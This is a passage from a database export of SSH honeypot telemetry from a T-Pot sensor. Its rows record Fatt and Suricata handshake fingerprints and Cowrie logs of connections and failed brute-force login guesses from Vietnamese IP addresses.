a1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40604, "dest_port": 22, "timestamp": "2021-09-20T11:08:50.234283", "@timestamp": "2021-09-20T11:08:50.234Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24376	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:50.213601+03	2021-09-20 14:15:08.702472+03	{"_id": "9gbkAnwBvYTbRNuE8xMa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40604, "timestamp": "2021-09-20T11:08:50.213601", "@timestamp": "2021-09-20T11:08:50.213Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24377	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:08:51.272985+03	2021-09-20 14:15:08.704501+03	{"_id": "EQbkAnwBvYTbRNuE9xQB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59830, "dest_port": 22, "timestamp": "2021-09-20T11:08:51.272985", "@timestamp": "2021-09-20T11:08:51.272Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24378	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:08:52.761364+03	2021-09-20 14:15:08.705497+03	{"_id": "HgbkAnwBvYTbRNuE-RT3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1144730851484573, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 41524, "dest_port": 22, "timestamp": "2021-09-20T11:08:52.761364Z", "@timestamp": "2021-09-20T11:08:52.761Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24379	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:08:52.762455+03	2021-09-20 14:15:08.7065+03	{"_id": "IgbkAnwBvYTbRNuE-hTr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 41524, "dest_port": 22, "timestamp": "2021-09-20T11:08:52.762455", "@timestamp": "2021-09-20T11:08:52.762Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24380	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:44.382711+03	2021-09-20 14:15:08.7075+03	{"_id": "TgbkAnwBvYTbRNuE3BNB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [root/pa55w0rd] failed", "session": "ef4e7b658f71", "@version": "1", "password": "pa55w0rd", "username": "root", "timestamp": "2021-09-20T11:08:44.382711Z", "@timestamp": "2021-09-20T11:08:44.382Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24381	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:44.470157+03	2021-09-20 14:15:08.7085+03	{"_id": "TwbkAnwBvYTbRNuE3BNB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "dba6d2dc9982", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:44.470157Z", "@timestamp": "2021-09-20T11:08:44.470Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24382	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:44.492742+03	2021-09-20 14:15:08.710505+03	{"_id": "UAbkAnwBvYTbRNuE3BNB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admin/P] failed", "session": "8da4a9cc248f", "@version": "1", "password": "P", "username": "admin", "timestamp": "2021-09-20T11:08:44.492742Z", "@timestamp": "2021-09-20T11:08:44.492Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24383	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:44.746848+03	2021-09-20 14:15:08.711501+03	{"_id": "UQbkAnwBvYTbRNuE3BNB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "dba6d2dc9982", "@version": "1", "timestamp": "2021-09-20T11:08:44.746848Z", "@timestamp": "2021-09-20T11:08:44.746Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24384	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:45.190341+03	2021-09-20 14:15:08.712501+03	{"_id": "UgbkAnwBvYTbRNuE3BNB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "235b59fbd42d", "@version": "1", "duration": 5.083532094955444, "timestamp": "2021-09-20T11:08:45.190341Z", "@timestamp": "2021-09-20T11:08:45.190Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24385	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:45.847419+03	2021-09-20 14:15:08.71447+03	{"_id": "UwbkAnwBvYTbRNuE4BMo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:49906 (192.168.176.2:22) [session: 9c892865c6e1]", "session": "9c892865c6e1", "@version": "1", "protocol": "ssh", "src_port": 49906, "dest_port": 22, "timestamp": "2021-09-20T11:08:45.847419Z", "@timestamp": "2021-09-20T11:08:45.847Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24386	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:45.673293+03	2021-09-20 14:15:08.7155+03	{"_id": "ZQbkAnwBvYTbRNuE4BMp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [sales1/sales1] failed", "session": "48353ac59578", "@version": "1", "password": "sales1", "username": "sales1", "timestamp": "2021-09-20T11:08:45.673293Z", "@timestamp": "2021-09-20T11:08:45.673Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24387	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:46.600101+03	2021-09-20 14:15:08.716501+03	{"_id": "fAbkAnwBvYTbRNuE4xNz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 32860, "timestamp": "2021-09-20T11:08:46.600101", "@timestamp": "2021-09-20T11:08:46.600Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
